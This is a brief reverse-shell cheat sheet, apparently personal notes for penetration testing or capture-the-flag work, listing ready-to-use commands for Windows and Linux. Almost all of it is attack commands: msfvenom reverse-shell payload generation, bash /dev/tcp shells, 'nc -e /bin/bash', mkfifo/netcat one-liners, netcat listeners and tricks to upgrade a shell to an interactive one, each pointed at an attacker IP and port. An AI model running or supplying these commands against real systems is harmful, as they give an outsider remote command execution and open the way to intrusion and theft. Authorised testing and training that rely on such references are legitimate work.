Windows:

1. msfvenom --platform Windows -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f exe -o shell1.exe

Linux:

1. Simple bash:
bash -c "bash -i >& /dev/tcp/IP/PORT 0>&1"

OR

#!/bin/bash

bash -i >& /dev/tcp/ip/port 0>&1

Netcat listener (remove rlwrap if cannot use): rlwrap nc -nvlp 8007

2. MSFVenom to generate (can change cmd/unix to linux/x64):
msfvenom -l payloads | grep "cmd/unix" | awk '{print $1}'

Use it with: msfvenom -p cmd/xxx LHOST=IP LPORT=yyy Then if want file, add -f elf > shell.elf (Remember chmod +x)
Most common:
msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f elf > shell1.elf

3. Simple netcat listener: nc -nvlp 4444

Victim: nc -e /bin/bash IP 4444

4. One liner:
mkfifo /tmp/bzxltd; nc IP PORT 0</tmp/bzxltd | /bin/sh >/tmp/bzxltd 2>&1; rm /tmp/bzxltd

Upgrade Interactive Shell:

python3 -c 'import pty; pty.spawn("/bin/bash")'

Semi Shell only:

/bin/bash -i
perl -e 'exec "/bin/sh";'
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc IP PORT >/tmp/f